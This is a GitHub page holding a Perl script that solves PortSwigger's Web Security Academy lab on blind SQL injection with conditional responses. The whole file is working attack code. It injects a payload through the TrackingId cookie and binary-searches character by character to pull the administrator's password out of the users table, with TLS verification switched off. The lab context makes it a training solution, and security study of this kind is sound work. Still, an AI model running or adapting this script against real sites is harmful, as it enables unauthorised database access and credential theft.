-
Notifications
You must be signed in to change notification settings - Fork 0
/
blind-conditional-responses.pl
executable file
·124 lines (100 loc) · 3.03 KB
/
blind-conditional-responses.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#!/usr/bin/env perl
#
# Author: <wexe1@protonmail.com>
# License: MIT
#
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::CookieJar::LWP;
use URI::Encode qw(uri_encode);
use Getopt::Long;
use Pod::Usage;
use feature 'say';
use Term::ANSIColor;
BEGIN {
say colored("PortSwigger Web Security Academy", "bold yellow");
say colored("Lab: Blind SQL injection with conditional responses", "bold yellow");
say colored("Solution by weXe1", "bold blue");
print "\n";
}
our $| = 1;
our(
$url,
$proxy,
$maxLength,
$help,
);
our $query = "(select password from users where username='administrator')";
GetOptions(
'u|url=s' => \$url,
'p|proxy=s' => \$proxy,
'm|max-length=i' => \$maxLength,
'h|help' => \$help
);
pod2usage(1) if $help;
pod2usage(1) unless $url;
$maxLength = 20 unless $maxLength;
our $ua = LWP::UserAgent->new(
cookie_jar => HTTP::CookieJar::LWP->new(),
protocols_allowed => ['http', 'https']
);
$ua->ssl_opts(verify_hostname => 0, SSL_verify_mode => 0x00);
if ($proxy) {
$ua->proxy('https' => $proxy);
$ua->proxy('http' => $proxy);
}
print colored("[*] SQL injection test... ", "cyan");
say &makeRequest("TrackingId=' or '1'='1") ? colored("OK", "green") : colored("ERROR", "red");
say colored("[*] Obtaining password for user 'administrator', it may take a while... ", "cyan");
our $requestCount = 0;
my $password = '';
my @chars = ('0'..'9', 'A'..'Z', 'a'..'z');
for my $length (1..$maxLength) {
my ($begin, $end) = (0, $#chars);
while ($begin <= $end) {
my $middle = int(($begin + $end + 1) / 2);
my $letter = $chars[$middle];
my $payload = &generatePayload($length, $letter);
my $result = &makeRequest($payload);
if ($begin == $middle && $middle == $end && !$result) {
$password .= $letter;
last;
}
if ($result) {
$end = $middle - 1;
} else {
$begin = $middle;
}
}
say colored("[$length] Found: $password" , "green");
last if $length > length $password;
}
say colored("[*] Finished in $requestCount requests.", "bold magenta");
sub generatePayload {
my $idx = shift;
my $pass = shift;
my $payload = "TrackingId=' or substring($query, $idx, 1) < '$pass";
$payload = uri_encode($payload);
return $payload;
}
sub makeRequest {
my $payload = shift;
my $response = $ua->get($url, 'Cookie' => $payload);
$requestCount++;
if ($response->is_success) {
return $response->decoded_content =~ /welcome back!/ig ? 1 : 0;
} else {
say STDERR colored($response->status_line . ": [$payload]", "on_red");
return 0;
}
}
__END__
=head1 SYNOPSIS
$ perl blind-conditional-responses.pl [options]
=head1 OPTIONS
--url=<URL> Target URL of the lab (required)
--proxy=<URL> HTTP or HTTPS proxy URL (optional)
--max-length=<number> Max length of brute forced password (optional)
--help Prints this help
=cut